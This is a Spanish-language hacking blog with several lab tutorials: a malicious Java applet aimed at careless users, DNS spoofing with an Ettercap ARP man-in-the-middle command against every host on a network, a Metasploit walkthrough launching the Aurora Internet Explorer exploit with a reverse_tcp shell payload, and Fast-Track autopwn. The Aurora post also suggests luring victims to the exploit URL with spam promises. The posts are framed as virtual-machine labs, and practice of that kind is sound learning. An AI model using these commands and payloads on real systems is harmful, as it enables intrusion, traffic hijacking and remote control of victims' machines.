jueves, 22 de diciembre de 2011

[Others] JavaApplet

Conceptos básicos:

  • Applet :  Componente de una aplicación que se ejecuta en el contexto de otro programa, por ejemplo un navegador web.

  • Applet de Java : Es un  Applet escrito en Java. Los applets de Java pueden ejecutarse en un navegador web utilizando la Maquina virtual de java (JVM).

    Según la wikipedia:

    ...entre sus características podemos mencionar un esquema de seguridad que permite que los applets que se ejecutan en el equipo no tengan acceso a partes sensibles (por ej. no pueden escribir archivos)....

    ... a menos que uno mismo le dé los permisos necesarios en el sistema...
Si amigos ... cuantas veces le hemos dado al OK sin leer o simplemente nos hemos pasado por el forro las advertencias, pues este video se lo dedico a todas aquellas "Anitas las secretarias*" que hay por el mundo.



*persona lo abre y lo ejecuta todo aunque desconozca la procedencia 

Material necesario para realizar este laboratorio:
  • Maquina virtual: Windows XP SP3 (Maquina virtual de java instalada)
  • El Applet de Java ( lo podéis encontrar por la web o me lo podéis pedir ) 
  • Un ejecutable  ( vosotros mismos... )

martes, 1 de marzo de 2011

Mundo Hacker TV

Finalmente los amigos de Mundo Hacker dan el salto de la radio a la TV, a continuacion os dejo los tres primeros capitulos en los que podremos ver a Antonio, Jean Pol, Ruben,Yago y compañia en acción!

Episodio 1
Episodio 2
Episodio 3
Episodio 4
Episodio 5
Episodio 6
Episodio 7
Episodio 8
Episodio 9
Episodio 10
Episodio "Fantasma"




lunes, 31 de enero de 2011

[MiM] DNS spoofing

Conceptos básicos:

  • DNS (Domain Name System): Es una base de datos distribuida, con información que se usa para traducir los nombres de dominio, fáciles de recordar y usar por las personas, en números de protocolo de Internet (IP) que es la forma en la que las máquinas pueden encontrarse en Internet.
  • Spoofing:
    En términos de seguridad de redes hace referencia al uso de técnicas de suplantación de identidad generalmente con usos maliciosos o de investigación.
DNS Spoofing: ¿Que és? y ¿En qué consiste? 
Teniendo en cuenta los conceptos anteriores, una traduccion sencilla de DNS Spoofing seria: uplantación de identidad por nombre de dominio.
Consiste en el falseamiento de una relación "Nombre de dominio-IP" ante una consulta de resolución de nombre, es decir, resolver con una dirección IP falsa un cierto nombre DNS o viceversa.
Esto se consigue falseando las entradas de la relación Nombre de dominio-IP de un servidor DNS, mediante alguna vulnerabilidad del servidor en concreto o por su confianza hacia servidores poco fiables. Las entradas falseadas de un servidor DNS son susceptibles de infectar (envenenar) el caché DNS de otro servidor diferente (DNS Poisoning).
Para realizar este laboratorio utilitzaré Ettercap, ya que es multiplataforma y me permite realizar las pruebas tanto en Windows como en Linux


Podemos descargar las diferentes versiones de la suite de Etthercap desde la pagina web del proyecto http://ettercap.sourceforge.net/

Tenia intención de hacer el ejemplo tanto en linux como en windows pero debido al "inexistente" tiempo libre del que dispongo lo realizare sobre linu (que queda más friki pro)

Paso a paso (Linux)

  • Abrimos un shell y nos dirigimos a la ruta donde tenemos situado el pluging que utilizaremos para realizar este laboratorio, por defecto :
     
    cd /usr/share/ettercap/
  •  Ahora ahora editaremos el archivo etter.dns que será el archivo para configurar el plugin a nuestro gusto.

    nano etter.dns

  • Utilizremos la siguiente estructura:

    www.site.com   A   IP destino

    site.com            A   IP destino

    *site.com          A   IP destino


    Como se puede obserbar en la captura siguiente estoy redireccionando todas las peticiones DNS que se realizan a petardas.com a la ip de google.
    Para saber la ip de cualquier site web, tendremos suficiente que realizar un ping a ese site.



  • Bien, una vez ya tenemos editado el  archivo ya solo nos queda lanzar ettercap  (se puede lanzar de modo visual o en modo consola, en este caso lo lanzo en modo consola que es más friki molón.

    ettercap -T -q -i eth0 -P dns_spoof -M arp // //
     
    Parametros utilizados:


    -T  text mode
    
    
    -q  quiet
    
    
    -i  interface (en mi caso eth0)
    
    
    -P dns_spoof  plugin + el nombre del plugin (dns_spoof de ettercap)
    
    
    -M arp  ManInTheMiddle ARP
    
    
    // //  Todas las maquinas de la red





Material necesario para realizar este laboratorio:
  • Maquina virtual: Backtrack 4 
  • Maquina virtual: Windows XP SP3

jueves, 2 de diciembre de 2010

[Metasploit] Testing Aurora

¿Qué es Metasploit?

Un proyecto open source, dedicado al estudio de la seguridad informática que proporciona información acerca de vulnerabilidades en diferentes sistemas de información y ayuda en tests de penetración y en el desarrollo de firmas para sistemas de detección de intrusos.

Básicamente es una enorme base de datos, con la mayoría de exploits conocidos hasta la fecha, que permite "cargarlos y dispararlos"

Conceptos básicos:

  • Exploit: Fragmento de código encargado de explotar una vulnerabilidad
  • Payload: Carga del código.
En un símil armamentístico el exploit sería la pistola y el payload la munición.

¿Qué es Aurora? 

Hace un mes,  se llevo a cabo un ataque a Google, Adobe y otras grandes compañias del sector en el cual se obtuvo información valiosa de sus clientes, este ataque llamado “Operación Aurora” vulnera una bug del Internet Explorer en todas sus versiones. Aunque a día de hoy este bug ya ha sido parcheado por Microsoft, siguen siendo muchas las compañias y hogares que siguen sin tener actualizado su navegador ya sea por pereza, una mala gestión del administrador o por simple ignorancia.


Paso a Paso:

  • Encendemos las dos maquinas virtuales.
  • Sobre la maquina virtual de Backtrack nos dirigimos a través del menú del Backtrack (Backtrack > Penetration >Metasploit Exploitation Framework> Framework version 3> Msfconsole) o bien ejecutamos los siguientes comandos:

    root@bt:~# cd /pentest/exploits/framework3

    root@bt:/pentest/exploits/framework3# ./msfconsole
  • Como Best Practice es recomendable actualizar la Metasploit antes de utilizarlo ya de este modo estaremos "a la última" 


  • Empezaremos buscando nuestro exploit, para ello introducieremos el siguiente comando en la consola de Metasploit:

    msf > search Aurora

  • Una vez encontrado nuestro exploit lo cargamos con el siguiente comando:

    msf > use windows/browser/ms10_002_aurora


     
  •  Bien ahora que ya tenemos cargado el exploit nos hace falta un Payload, como de Payloads hay un "porron y medio", yo suelo cojer siempre los mismos, un meterpreter o una shell reversa. En este caso cojere la shell reversa que el meterpreter ya se vio por encima con el Autopawn de Fastrack.
    Para cargar el Payload que nos devuelva una shell reversa introducimos el siguiente comando en la consola:

    msf exploit(ms10_002_aurora)> set PAYLOAD windows/shell/reverse_tcp
  • Una vez cargada la "polvora" solo nos queda configurarlo, para ello introduciremos por consola:

    Show options

    Quenos nomstrará las opciones y parametros a configurar de nuestro ataque.





  •  Para configurar los diferentes parametros/variables lo haremos, con el comando SET de la siguiente manera:

    SET [Nombre de la variable] [Valor de la variable] 
     

    Ejemplo:

    SET LHOST 192.168.1.132
  • Ahora que ya tenemos configurado nuestro ataque solo nos falta una cosa ...... LANZARLO !!
    Para ello introduciremos en la consola el siguiente comando:

    msf exploit(ms10_002_aurora)> exploit

Como se observa en la imagen anterior ya tenemos nuestro falso "servidor web" montado, ahora solo falta enviarle la URL a  "Anita la secretaria" de turno o "Pepito el fontanero" prometiendoles viagras a mitad de precio o rusas buscando jurandoles amor eterno o simplemente haciendo un MiM.
 

Comandos imprescindibles para el uso de Metasploit:

  • Show: Mostrar.
  • Search: Buscar.
  • Show all: Muestra todos los exploits, payloads, modulos auxiliares, etc .
  • Show Exploits: Muestra el listado de Exploits.
  • use [Exploit]: Comando para cargar el Exploit.
  • Set target [X]: Comando para seleccionar sistema.
  • Show Payloads: Muestra el listado de Payloads.
  • Set PAYLOAD: Carga el Payload.
  • Show options: Muestra el estado y las variables necesarias para realizar el "ataque".
  • Set RHOST: Carga del host remoto.
  • Set RPORT: Carga del puerto remoto.
  • Set LHOST: Carga del host local.
  • Set LPORT: Carga del puerto local.

Material necesario para realizar este laboratorio:
  • Maquina virtual: Backtrack 4 
  • Maquina virtual: Windows XP SP3

lunes, 29 de noviembre de 2010

[Piloto] Probando Autopwn de Fast-Track

¿Qué es Fast-Track? 

Fast-Track es una herramienta diseñada para realizar tests de penetración de un modo "automagico" por decirlo de alguna manera, esta herramienta la podemos encontrar en la distribución Backtrack o bien nos la podemos descargar y ejecutar a través de un interprete de pyton (lo que convierte esta herramienta en multiplataforma)

Paso a Paso:

  • Encendemos las dos maquinas virtuales.
  • Sobre la maquina virtual de Backtrack nos dirigimos a través del menú del Backtrack (Backtrack > Penetration > FastTrack > Fast-Track Interactive) o bien ejecutamos los siguientes comandos: 
root@bt:~# cd /pentest/exploits/fasttrack/
root@bt:/pentest/exploits/fasttrack# ./fast-track.py -i  

  • A modo de  Best Practice es recomendable actualizar Fast-Track al ejecutarlo, por lo que seleccionaremos la opción 1 del menú.

  • Una vez actualizado, solo nos quedará seleccionar la IP de la maquina "víctima" o un rango de IPs a los que se les lanzará inicialmente un nmap, para detectar que hosts están levantados y los puertos que tienen abiertos para así poder acotar más en el momento de seleccionar los exploits a lanzar. Para esto seleccionamos la opción 2 del Main Menu.

  • Una vez seleccionada la IP o el rango de IPs, solo nos quedara seleccionar el tipo de conexión (directa o reversa)
    • Directa (Bind): La conexión la realiza la equipo "atacante" sobre el equipo "víctima"
    • Reversa (Reverse): La conexión se realiza de manera que la equipo "víctima" se conecta al equipo atacante
  • Ahora solo queda esperar, a ver si alguno de los sistemas de nuestra red es vulnerable, una vez se han lanzado todos los exploits sabremos si hemos conseguido penetrar en algún sistema a través del comando:
sessions -l 
        i
sessions -i x (donde x es el número de la sesión)
  

A continuación dejo un video con una demostración de Fast-Track en pleno funcionamiento.





Material necesario para realizar este laboratorio:
  • Maquina virtual: Backtrack 4 
  • Maquina virtual: Windows XP SP3